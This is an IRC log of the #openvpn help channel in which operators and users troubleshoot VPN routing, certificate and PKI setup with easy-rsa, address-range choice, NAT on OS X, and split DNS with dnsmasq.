11:52 < rmk0> right now, my server's lan is 10.2.0.0/16, and vpn clients are assigned (virtual) addresses in 10.8.0.0/16
11:53 <@krzee> Ziber, oh you didnt mention AWS, it adding routes doesnt help you may need to stick with the nathack, im not sure
11:53 <@krzee> Ziber, they may want to charge extra to let you route or something, i dont know how that crap works i run real servers
11:54 < Ziber> krzee: AWS routes the same as anything you'd expect.
11:54 <@krzee> rmk0, yep i believe you do, that or bcrelay
11:54 <@krzee> !whybridge
11:54 <@vpnHelper> "whybridge" is (#1) you only bridge if you want layer2 to the lan. if you want layer2 only between vpn nodes then routed tap is enough. if you only want layer3 use tun. or (#2) See this URL for a more in-depth discussion on bridging vs routing: https://community.openvpn.net/openvpn/wiki/BridgingAndRouting or (#3) See also !tunortap
11:54 <@krzee> !bcrelay
11:54 <@krzee> !factoids search relay
11:54 <@vpnHelper> "broadcast-relay" is a software that comes with pptp. use it in tun mode when needing broadcasts, and WINS isnt enough.
11:54 < rmk0> krzee: right, thanks
11:55 < Ziber> huh, bbl.
12:04 <@krzee> Ziber, if adding the proper routes doesnt work, add that NAT rule back and just be happy that works =]
12:07 -!- niggardly [~andromeda@gateway/tor-sasl/martinphone] has joined #openvpn
12:09 < Ziber> Something "working" isn't enough to make me happy.
12:09 <@krzee> then if the routes dont work stop using aws
12:09 <@krzee> one or the other...
12:10 < Ziber> I think you may have misunderstood. AWS is working exactly as I want it to. It's my home LAN that isn't.
12:10 <@krzee> then wtf you bring up AWS for?
12:10 <@krzee> go add the route on your router
12:11 < Ziber> As an example of how I want it to be working. I already have added the route.
12:11 < Ziber> And yet... no worky.
12:11 <@krzee> add the route to the lan machine
12:11 <@krzee> then see if that lan machine works or not
12:12 < Ziber> for <vpn subnet> via <vpn client> dev eth0?
12:12 <@krzee> if that works, you isolated the problem to your router, and then you must go figure out the problem and fix it
12:12 <@krzee> !route_outside_ovpn
12:12 <@vpnHelper> "route_outside_ovpn" is "route_outside_openvpn" is (#1) If your server is not the default gateway for the LAN, you will need to add routes to your gateway. See ROUTES TO ADD OUTSIDE OPENVPN in !route or (#2) Here are 2 diagrams that explain how this works: http://www.secure-computing.net/wiki/index.php/Graph http://i.imgur.com/BM9r1.png
12:12 <@krzee> the first diagram tells you
12:13 <@krzee> route the vpn subnet using lan ip of vpn client as gateway
12:13 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
12:13 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
12:16 < Ziber> I did that. And it worked.
12:16 <@krzee> ok
12:16 <@krzee> you isolated the problem to your router
12:17 <@krzee> now you know your problem is there, good luck to you.
12:17 < Ziber> Only worked on one of my lan machines though. Doesn't seem to be working on a second server.
12:17 <@krzee> (very unrelatred to openvpn)
12:17 < Ziber> Oh, ther we go. Just took a while.
12:17 < Ziber> Right.
12:17 <@krzee> but you know where the problem is, thats the biggest step
12:17 <@krzee> worst case scenario, get a different router)
12:18 -!- mndo_ [~mndo@bl17-82-199.dsl.telepac.pt] has joined #openvpn
12:19 < Ziber> Oh, I'd sorta like to. But, my parents like their Wifi and don't trust me fucking with things.
12:21 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
12:23 <@krzee> my parents wouldnt even have wifi if it were not for their trust in me fucking with their things ;]
12:23 -!- mndo [~mndo@bl17-82-199.dsl.telepac.pt] has quit [Ping timeout: 272 seconds]
12:23 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
12:25 -!- packardb [~packardb@82.76.133.25] has quit [Quit: Leaving...]
12:25 < Ziber> My dad knew enough to set it up originally (years and years ago) and I've since learned far more about it than him.
12:25 <@krzee> does it have WEP or WPS enabled?
12:26 <@krzee> yes i mean WPS not WPA
12:26 < Ziber> Uhm.
12:27 < Ziber> I can look in a sec. I think WEP.
12:27 <@krzee> hahah
12:27 < Ziber> What?
12:27 <@krzee> you should crack it in front of him (takes about 5min) and show him that you can manage handling it
12:27 <@krzee> well, if you can manage handling it that is :D
12:28 < Ziber> I think I can.
12:34 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
12:39 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has quit [Ping timeout: 240 seconds]
12:41 < Ziber> :(
12:41 < Ziber> I'll have to look at it later.
12:42 < Ziber> Got homework to do.
12:50 -!- Matviy [~Matviy@108-225-189-45.lightspeed.sntcca.sbcglobal.net] has joined #openvpn
12:51 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has joined #openvpn
13:23 -!- mndo_ [~mndo@bl17-82-199.dsl.telepac.pt] has quit [Read error: Operation timed out]
13:29 -!- nutron [~nutron@unaffiliated/nutron] has quit [Ping timeout: 264 seconds]
13:36 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Quit: Leaving]
13:37 -!- moviuro [~moviuro@ginfo.ext.ec-m.fr] has left #openvpn ["Bye!"]
13:38 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
14:21 < Ziber> Does my VPN server need masquerading rules?
14:31 <@krzee> not for routing your client lan...
14:33 <@krzee> which i thought is what you were talking about
14:35 <@krzee> im about to head to work though
14:36 <@krzee> if you are talking about the same lan we spoke of earlier, then you KNOW if you need nat or not
14:36 <@krzee> your options are: fix the router, bypass the router, use nat
14:37 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
14:37 < Ziber> Anyone around who might've had to do this with Verizon's MI424WR?
14:38 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
14:39 <@krzee> Ziber,
14:39 <@krzee> !notovpn
14:39 <@vpnHelper> "notovpn" is (#1) "notopenvpn" is your problem is not about openvpn, and while we try to be helpful, you may have a better chance of finding your answer if you ask your question in a channel related to your problem or (#2) sorry, but we dont care. this channel is only for help with openvpn.
14:40 < Ziber> I realize that it's not strictly on topic.
14:41 <@krzee> strictly?
14:41 <@krzee> it is not remotely on topic
14:42 < Ziber> I disagree. I am trying to do something to allow OpenVPN to function behind that router.
14:42 <@krzee> i disagree with your disagreement, and was nice enough to help you find which device needs help
14:43 -!- mode/#openvpn [+q ziber!*@*] by krzee
14:43 <@krzee> :D
14:43 <@krzee> your openvpn setup is complete, good luck finding out whats wrong with your router.
14:44 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
14:46 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
14:56 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
15:09 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Quit: Quit]
15:10 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
15:11 -!- nutron [~nutron@unaffiliated/nutron] has quit [Ping timeout: 272 seconds]
15:19 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
15:23 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
15:46 -!- akurilin [~akurilin@208.185.21.146] has joined #openvpn
15:47 -!- randy2009 [~randy2009@82-136-213-63.ip.telfort.nl] has joined #openvpn
15:48 < randy2009> Hi, is there a guid how to connect a client cert to a user?
15:48 < randy2009> don't have build-key command (have synology and no such command)
15:49 < randy2009> !goal
15:49 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
15:50 <+pekster> randy2009: What OS are you on?
15:51 < randy2009> Synology
15:51 <+pekster> What is it? Linux, Unix, Windows?
15:51 < randy2009> Diskstation DS 213j
15:51 < randy2009> linux
15:52 < randy2009> linux based
15:52 <+pekster> build-key is provided as part of the easy-rsa v2 project. You should verify you're running the latest version for both bugfixes and security improvements by downloading the tarball from here:
15:52 <+pekster> !easyrsa
15:52 <@vpnHelper> "easyrsa" is (#1) easy-rsa is a certificate generation utility. or (#2) Download here: https://github.com/OpenVPN/easy-rsa/releases or (#3) Source checkouts available from the github project; current official release download is 2.2.2 with 3.x code in git-master.
15:56 < randy2009> -ash: make: not found :(
15:56 <+pekster> You don't need to make anything; just extract the tarball and the scripts are there
15:57 <+pekster> The makefiles are for distro maintainers and the like preparing release packages
15:57 <+pekster> In fact, the download I linked you to (EasyRSA-2.2.2.tgz) doesn't have any of the makefiles
15:57 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
15:57 <+pekster> It's a "ready to use" tarball
15:57 < randy2009> ok
15:58 < randy2009> i'll try
15:58 < randy2009> thnx
16:03 < randy2009> Do i need to run easy-rsa on the server, or can it be run under another host? I already created some certs and CA
16:04 <+pekster> You ideally should not run it on your server, but it's not disallowed
16:05 <+pekster> Well, let me re-phrae that: your CA shouldn't be on the same box as your VPN server
16:05 <+pekster> It's a little harder to do with the v2 codebase, but for best security you normally want to separate the duty of creating keypairs and CA signing operations
16:06 < randy2009> yup, i know
16:06 < randy2009> but if i look @ the bash files, they only create certificates wich i already done it myself
16:06 -!- wsky [~wsky@unaffiliated/cetra] has quit [Ping timeout: 260 seconds]
16:08 <+pekster> You don't have to use easyrsa if you have your own PKI system
16:08 < randy2009> ok but how do i map a certificate with a user?
16:08 <+pekster> "map"?
16:09 < randy2009> erm, bind
16:09 <+pekster> OpenVPN uses the CN to identify the user
16:09 < randy2009> ok
16:09 < randy2009> dind't knew that
16:09 < randy2009> so that has to be the same as the username?
16:10 <+pekster> No
16:10 <+pekster> And "what" username?
16:10 <+pekster> The certificate's CN field of the X509 Subject _is_ treated by OpenVPN as the username
16:10 < randy2009> i thought openvpn can use a username/password in combination with a certificate?
16:10 < randy2009> 2 factor athentication
16:11 <+pekster> Yes, but the username to openvpn (what shows up in the logs and by --status for example) is still the cert CN unless you use --username-as-common-name
16:11 <+pekster> IOW, no, they don't need to match; they're independent things
16:12 < randy2009> what is best practice in security
16:13 <+pekster> 1) set up a system to act as your CA PKI, ideally on a "reasonably secure" box and under a standard (non-root) account. 2) generate keypairs on your target systems: server generates its own keys/request, and so do all clients. 3) send cert requests (CSRs) to the CA 4) CA signs the requests and returns the valid certs
16:15 < randy2009> ok, but only a valid cert isn't best security practice?
16:15 < randy2009> i mean, i thought that for two-factor authentication you need something you know (username/password) and something you have (certificate)
16:17 < hjohnson> randy2009: well, ideally two factor isn't just somethign stored on the computer (but I'm talking in general, not OpenVPN here)
16:18 < hjohnson> randy2009: this is where things like the RSA SecureID fobs come in
16:20 < randy2009> hm, ok but that is 1 step to far :)
16:23 < hjohnson> randy2009: but generally the "something you have" is osmething that's not stored on the computer
16:25 <+pekster> randy2009: This is part of the documentaion for the next-gen EasyRSA v3 codebase, but this might help answer your questions about how PKI works to verify users: https://github.com/OpenVPN/easy-rsa/blob/master/doc/Intro-To-PKI.md
16:25 <@vpnHelper> Title: easy-rsa/doc/Intro-To-PKI.md at master · OpenVPN/easy-rsa · GitHub (at github.com)
16:26 < randy2009> I'll look into that
16:37 -!- Sembei [~Sembei@unaffiliated/sembei] has quit [Ping timeout: 245 seconds]
16:39 -!- Cultist_ is now known as Cultist
16:53 -!- soapee01_ is now known as soapee01
17:03 -!- nutron [~nutron@unaffiliated/nutron] has quit [Ping timeout: 240 seconds]
17:03 -!- randy2009 [~randy2009@82-136-213-63.ip.telfort.nl] has quit [Quit:  HydraIRC -> http://www.hydrairc.com <- *I* use it, so it must be good!]
17:07 -!- soapee01 [~soapee01@24-155-219-177.dyn.grandenetworks.net] has left #openvpn []
17:07 -!- gstaniak [~gstaniak@user-5-173-250-14.play-internet.pl] has joined #openvpn
17:07 < gstaniak> hi
17:11 < gstaniak> i'm not a vpn expert, so please don't shoot: i have a file with exported openvpn options (plus certs, plus keys, plus tls, all in one big file), and i want to import the file into the network manager on fedora 19: it gets imported, but i can't even save the config, since the appropriate button is greyed out, just as if sth was still missing. the cert, ca, user key fields are empty. it works though (vpn is set up) when i run "openvp
17:11 < gstaniak> n --config thisfile.ovpn". ideas?
17:13 <@krzee> !netmN
17:13 <@krzee> !netman
17:13 <@vpnHelper> "netman" is if you are using network manager for linux to configure your vpn, dont! http://openvpn.net/archive/openvpn-users/2008-01/msg00046.html to read the same thing from the author of the openvpn 2 cookbook on the mail list
17:13 <+pekster> Based on that last part, the CLI running, your issue isn't actually with openvpn but a frontend
17:13 <@krzee> if your vpn works, you will need to find somewhere that supports network manager
17:13 <@krzee> maybe #ubuntu or something
17:17 <+pekster> For all I know, NM is too stupid to understand the inline file syntax, but history has shown that NM is often left un-updated and remains pretty consistently unusable for all but the most basic setups
17:17 <+pekster> OpenVPN-wise, anyway
17:17 < gstaniak> ok, so that confirms my suspicions. thanks, guys.
17:28 -!- gstaniak [~gstaniak@user-5-173-250-14.play-internet.pl] has quit [Quit: Wychodzi]
17:33 -!- niggardly [~andromeda@gateway/tor-sasl/martinphone] has quit [Quit: gone]
18:06 -!- michaelhart [~michaelha@162.209.54.120] has quit [Quit: michaelhart]
18:07 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
18:12 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
18:24 -!- smue [smue@nostromo.smue.info] has quit [Quit: may the force be with you...]
18:26 -!- Mashirito [~sembei@unaffiliated/sembei] has joined #openvpn
18:26 < Mashirito> what does openvpn in case both routers has same ip (client and server)?
18:27 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
18:28 <+pekster> Mashirito: in p2p mode that's allowed, though discouraged (due to the human complexity factor.) In other topologies you'll run into issues using that addressing over the link
18:30 <+pekster> Or did you mean in a site-to-site setup with overlapping networks? You can't do that either without lots of horrible NAT involved
18:33 < Mashirito> just as an example
18:34 < Mashirito> you go to an hotel that has the same router address as your home/office
18:36 < hjohnson> yeah, this is why you should never use 192.168.0/1.x and 10.0/9 at home/office
18:36 -!- duoi [~duoi@d110-33-13-246.bla800.nsw.optusnet.com.au] has joined #openvpn
18:36 -!- duoi [~duoi@d110-33-13-246.bla800.nsw.optusnet.com.au] has quit [Changing host]
18:36 -!- duoi [~duoi@unaffiliated/duoi] has joined #openvpn
18:37 < Mashirito> what's the less common private address?
18:37 -!- duoi [~duoi@unaffiliated/duoi] has quit [Disconnected by services]
18:37 -!- duoi_ghost [~duoi@46.21.151.107] has joined #openvpn
18:37 -!- duoi_ghost [~duoi@46.21.151.107] has quit [Changing host]
18:37 -!- duoi_ghost [~duoi@unaffiliated/duoi] has joined #openvpn
18:38 < hjohnson> 172.16.0.0/12
18:39 < hjohnson> or something high in in the 10/8 grouping
18:39 < hjohnson> I've put stuff up at 10.200 with good luck
18:40 <+pekster> If you just need a couple of /24's (for home + VPN) maybe use 2 adjacent blocks based on this shell snippit: `echo "10.$((RANDOM%256)).$((RANDOM%256))/24"`
18:41 < Mashirito> o.0
18:41 < Mashirito> I guess less sophisticated
18:42 < Mashirito> would do the trick
18:42 <+pekster> No clue how you get less sophisticated than choosing 2 random in-range values ;)
18:42 < Mashirito> ;)
18:42 < Mashirito> i know
18:43 < Mashirito> pekster: I've been following this thread https://forums.openvpn.net/topic11401.html
18:43 <@vpnHelper> Title: OpenVPN Support Forum Configuring VPN Server on OS X 10.8.2 as Router with NAT ! : Routing and Firewall Scripts (at forums.openvpn.net)
18:44 < Mashirito> and comp turned unresponsive with this --> ipfw add divert natd ip from any to any via en0
18:45 <+pekster> Best to not blindly follow directions like that and learn how to configure PF properly
18:45 < Mashirito> and manual of ipfw says its obsolete on os x
18:46 < Mashirito> "Note that use of this utility is DEPRECATED. Please use pfctl(8) instead"
18:49 <+pekster> You might consider running a server you plan to do routing+NAT on an OS more designed for this use, either a *BSD box (FreeBSD, NetBSD, etc) or some Linux server
18:49 <+pekster> OS X is at the core BSD, but some of it is wrapped around apple methods which can sometimes get in the way; DNS is a great example since you need to deal with dnsctl
18:51 < Mashirito> well is my workstation at home
18:52 < Mashirito> is worth a rasperri pi as vpn server?
18:52 <+pekster> IIRC they don't do AES-NI, so you're stuck with whatever its CPU can spit out for performance, but it might do the trick
18:53 <+pekster> Otherwise you can certainly use your Mac, or even a VM on the Mac, but you need to use the OS system for things like NAT
18:54 < heraclitus> how would I go about scaling my servers using easy-rsa so that the same client certs/keys can be used on other servers?
18:54 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 264 seconds]
18:54 -!- rmk0 [~rmk0@unaffiliated/rothwell] has quit [Ping timeout: 272 seconds]
18:55 <+pekster> heraclitus: Best is to simply create/sign additional keypairs for your extra servers; as long as it's part of the same PKI structure "each" serve will accept all clients correctly signed by the CA
18:55 <+pekster> See the PKI section of the howto (direct link at !pki) and just create additional server/client certs
18:55 < heraclitus> !pki
18:55 <@vpnHelper> "pki" is (#1) http://openvpn.net/index.php/open-source/documentation/howto.html#pki for how to make your PKI stuff (ca, and certs) or (#2) Heres a basic rundown of how it works... The server, client, and ca certs are all signed by the same ca.key. The server and client use the ca.crt to check that eachother were signed by the right ca.key. Optionally, the client also checks that the
18:55 <@vpnHelper> server cert was signed specially as a server (see !servercert) or (#3) See !certman for various PKI management frontends
18:56 < heraclitus> !servercert
18:56 <@vpnHelper> "servercert" is (#1) openssl req -days 3650 -nodes -new -keyout server.key -out server.csr -extensions server -config ./openssl.cnf && openssl ca -days 3650 -out server.crt -in server.csr -extensions server -config ./openssl.cnf && chmod 0600 server.key or (#2) or just use build-key-server in easy-rsa or (#3) this will help with !mitm
18:56 < heraclitus> !certman
18:56 <@vpnHelper> "certman" is (#1) Various frontends can help you manage your PKI (certs & keys.) !easy-rsa is the officially supported one for OpenVPN. or (#2) Other choices include: !xca, !ssladmin, & !easyrsa3 (in beta)
18:56 <+pekster> !forget certman 2
18:56 <@vpnHelper> Joo got it.
18:57 <+pekster> !learn certman as Other choices include: !xca, !ssladmin, and probably others online
18:57 <@vpnHelper> Joo got it.
18:58 -!- Mashirito [~sembei@unaffiliated/sembei] has quit [Quit: WeeChat 0.4.3-dev]
18:59 -!- duoi_ghost is now known as duoi
18:59 -!- duoi [~duoi@unaffiliated/duoi] has quit [Quit: Leaving]
18:59 -!- Poster [~poster@cpe-173-88-41-216.columbus.res.rr.com] has quit [Quit: the smell of sunshine, i remember sometimes]
18:59 -!- duoi [~duoi@46.21.151.107] has joined #openvpn
18:59 -!- duoi [~duoi@46.21.151.107] has quit [Client Quit]
19:00 -!- duoi [~duoi@46.21.151.107] has joined #openvpn
19:00 -!- duoi [~duoi@46.21.151.107] has quit [Changing host]
19:00 -!- duoi [~duoi@unaffiliated/duoi] has joined #openvpn
19:00 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
19:08 -!- duoi [~duoi@unaffiliated/duoi] has quit [Disconnected by services]
19:08 -!- duoi_ghost [~duoi@unaffiliated/duoi] has joined #openvpn
19:09 -!- duoi_ghost is now known as duoi
19:09 -!- duoi [~duoi@unaffiliated/duoi] has quit [Disconnected by services]
19:09 -!- duoi_2 [~duoi@unaffiliated/duoi] has joined #openvpn
19:09 -!- duoi_2 is now known as duoi
19:17 -!- Poster [~poster@cpe-173-88-41-216.columbus.res.rr.com] has joined #openvpn
19:48 < heraclitus> pekster, got it, I was just dense, I had already read that section a few times, and it didn't click. Neat setup, really. :D
20:04 -!- acu [~acu@107.128.131.129] has joined #openvpn
20:08 -!- rmk0 [~rmk0@dsl78-143-222-245.in-addr.fast.co.uk] has joined #openvpn
20:08 -!- rmk0 [~rmk0@dsl78-143-222-245.in-addr.fast.co.uk] has quit [Changing host]
20:08 -!- rmk0 [~rmk0@unaffiliated/rothwell] has joined #openvpn
20:10 -!- Sembei [~Sembei@unaffiliated/sembei] has joined #openvpn
20:28 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Read error: Connection reset by peer]
20:28 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
20:29 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Read error: Connection reset by peer]
20:30 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
20:31 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
20:32 -!- ghost1235 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
20:32 -!- ghost1235 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Read error: Connection reset by peer]
20:33 -!- ghost1235 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
20:34 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 248 seconds]
20:35 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 246 seconds]
20:36 -!- speed_racer84 [~speed_rac@172.56.14.23] has joined #openvpn
20:37 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
20:38 -!- ghost1235 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 264 seconds]
20:41 -!- speed_racer84 [~speed_rac@172.56.14.23] has quit [Ping timeout: 272 seconds]
20:43 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Read error: Connection reset by peer]
20:44 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
21:04 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
21:09 -!- halcyon_ [~halcyon@cpe-72-181-248-94.tx.res.rr.com] has joined #openvpn
21:09 -!- halcyon_ [~halcyon@cpe-72-181-248-94.tx.res.rr.com] has quit [Remote host closed the connection]
21:10 -!- The_Ball [~ballen@202.10.92.134] has joined #openvpn
21:11 < The_Ball> Hi guys, does anybody know how to manipulate dns lookups when connected to a oVPN gateway for a domain. When I connect to my domain VPN I would like all DNS requests for *.my.domain to go to the DNS server inside the VPN. I'm using dnsmasq if that matters
21:11 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has quit [Disconnected by services]
21:15 -!- soapee01 [~soapee01@24-155-219-177.dyn.grandenetworks.net] has joined #openvpn
21:15 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has joined #openvpn
21:18 < rob0> I did a little writeup about dnsmasq in openvpn
21:19 < rob0> http://rob0.nodns4.us/dnsmasq.html
21:19 <@vpnHelper> Title: DNS in OpenVPN: a better approach (at rob0.nodns4.us)
21:20 < rob0> basically, you have clients running their own dnsmasq, and when connected to the VPN, the VPN names resolve. (When not connected and names are not cached, they won't resolve, of course.)
21:23 < acu> !route
21:23 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for a basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs behind the server
21:23 <@vpnHelper> or client
21:27 < acu> So if I have two lans - HQ-LAN (192.168.12.0) =behind Server OpenVPN ----- and Remote LAN (192.168.192.0)  -- do I need to configure push route for both in Open VPN server ? Or only its own LAN ?
21:30 < acu> in other words - the OpenVPN server should have only push "route 192.168.12.0 255.255.255.0" - which is the LAN behind the server? or I should add the remote lan too ?
21:32 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has quit [Read error: Connection reset by peer]
21:32 < rob0> Sometimes people want to route to these other networks. If so, you need the route. Sometimes they don't.
21:33 <@krzee> acu, will you want other clients to reach those lans?
21:33 <@krzee> if so, yes.
21:33 <@krzee> when the client with the lan gets the push route, it will be ignored because of the matching iroute
21:34 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has joined #openvpn
21:34 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has quit [Remote host closed the connection]
21:34 < acu> krzee = OK so if let's say I just want to remote clients to access the HQLANclients - I have just to enter the HQLAN as push ? or the remoteLAN realm should be in push
21:35 < rob0> Another thing you might want to consider is supernetting. If you used adjacent /24's, such as 192.168.12.0/24 and 192.168.13.0/24, you could push them all as one route, 192.168.12.0/23
21:35 < acu> rob0 that pushes to my limits :)
21:36 < rob0> OpenVPN is a nice tool to expand one's limits!
21:37 < acu> So far I have three LAN realms - LANbehind Server 192.168.12.0  ==== OpenVPN server ip range 10.133.22.0   and Remote LAN 192.168.192.0
21:38 < acu> I want only the remote LAN workstations to be able to enter in the LANbehind the server - not opposite -
21:38 <@krzee> you will need to use a firewall to achieve that
21:39 <@krzee> you dont have to push routes to anyone you dont want, and you dont have to push them at all in fact
21:39 < rob0> you don't push any routes you don't want a client to use
21:39 -!- suprMan` [~clark_ken@83-136-61-224.wimax.bb.zain.com] has joined #openvpn
21:39 <@krzee> but if you want them to not be able to, then you need to firewall it on the server as well
21:39 -!- suprMan` [~clark_ken@83-136-61-224.wimax.bb.zain.com] has left #openvpn []
21:39 < acu> krzee: I was not completely clear - I do not care whether one LAN client accesses other one - it is one entity - so I was saying that hoping that it will be easier to setup
21:39 <@krzee> because anyone can add any route they want
21:40 <@krzee> but ya, you already know everything to do
21:40 <@krzee> i remember telling you
21:40 < acu> so whether HQLan users would be able to see the RemoteLAn or opposite - I have no concern about security -that what I was saying
21:40 <@krzee> ok
21:40 <@krzee> so whats the problem?
21:41 < acu> in conclusion - I would just need to add the 192.168.12.0 to push in the server
21:41 <@krzee> read !route again
21:59 < acu> !ccd
21:59 <@vpnHelper> "ccd" is (#1) entries that are basically included into server.conf, but only for the specified client based on common-name. use --client-config-dir <dir> to enable it, then put the config options for the client in <dir>/common-name or (#2) the ccd file is parsed each time the client connects.
22:00 < acu> so in translation the ccd is something unique about that client
22:01 < acu> !clientlan
22:01 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see
22:01 <@vpnHelper> !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png | http://pekster.sdf.org/misc/clientlan.png
22:25 -!- Sembei [~Sembei@unaffiliated/sembei] has quit [Max SendQ exceeded]
22:26 -!- Sembei [~Sembei@unaffiliated/sembei] has joined #openvpn
22:28 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has joined #openvpn
22:38 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has quit [Read error: Connection reset by peer]
22:38 -!- Poster|x [~poster@cpe-173-88-41-216.columbus.res.rr.com] has joined #openvpn
22:38 -!- heraclitus [~halcyon@vpnus.planetcrypto.com] has joined #openvpn
22:38 -!- heraclitus [~halcyon@vpnus.planetcrypto.com] has quit [Changing host]
22:38 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has joined #openvpn
22:41 -!- Poster [~poster@cpe-173-88-41-216.columbus.res.rr.com] has quit [Ping timeout: 272 seconds]
22:42 -!- Poster|x is now known as Poster
22:43 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has quit [Client Quit]
23:19 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has joined #openvpn
23:32 -!- acu [~acu@107.128.131.129] has quit [Quit: Leaving]
23:34 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Ping timeout: 252 seconds]
23:47 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
23:51 -!- nick4 [~nick4@46.246.237.2.dsl.dyn.forthnet.gr] has quit [Ping timeout: 272 seconds]
23:51 -!- nick4 [~nick4@46.246.136.251.dsl.dyn.forthnet.gr] has joined #openvpn
--- Day changed Wed Nov 20 2013
00:27 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Remote host closed the connection]
00:29 -!- nick4 [~nick4@46.246.136.251.dsl.dyn.forthnet.gr] has quit [Ping timeout: 272 seconds]
00:30 -!- nick4 [~nick4@46.246.144.55.dsl.dyn.forthnet.gr] has joined #openvpn
00:31 -!- Carbon_Monoxide [~cmonxide@14.0.143.214] has joined #openvpn
00:31 -!- Carbon_Monoxide [~cmonxide@14.0.143.214] has left #openvpn []
00:35 -!- AsadH [~AsadH@unaffiliated/asadh] has quit [Ping timeout: 264 seconds]
00:38 -!- AsadH [~AsadH@unaffiliated/asadh] has joined #openvpn
00:38 -!- AsadH [~AsadH@unaffiliated/asadh] has quit [Excess Flood]
00:39 -!- AsadH [~AsadH@unaffiliated/asadh] has joined #openvpn
00:39 -!- AsadH [~AsadH@unaffiliated/asadh] has quit [Excess Flood]
00:39 -!- AsadH [~AsadH@unaffiliated/asadh] has joined #openvpn
00:39 -!- AsadH [~AsadH@unaffiliated/asadh] has quit [Excess Flood]
00:40 -!- AsadH [~AsadH@unaffiliated/asadh] has joined #openvpn
00:58 -!- duoi [~duoi@unaffiliated/duoi] has quit [Ping timeout: 246 seconds]
01:05 -!- duoi [~duoi@unaffiliated/duoi] has joined #openvpn
01:05 -!- The_Ball [~ballen@202.10.92.134] has quit [Ping timeout: 265 seconds]
01:07 -!- duoi [~duoi@unaffiliated/duoi] has quit [Disconnected by services]
01:07 -!- duoi_2 [~duoi@unaffiliated/duoi] has joined #openvpn
01:13 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
01:13 -!- crus [~crusader@2001:44b8:319e:2900:a44e:bd60:b087:6ad6] has joined #openvpn
01:24 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
01:44 -!- gekko_ [~jjk@dev.pro-it.dk] has joined #openvpn
01:47 -!- akurilin [~akurilin@208.185.21.146] has quit [Quit: Leaving]
01:51 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
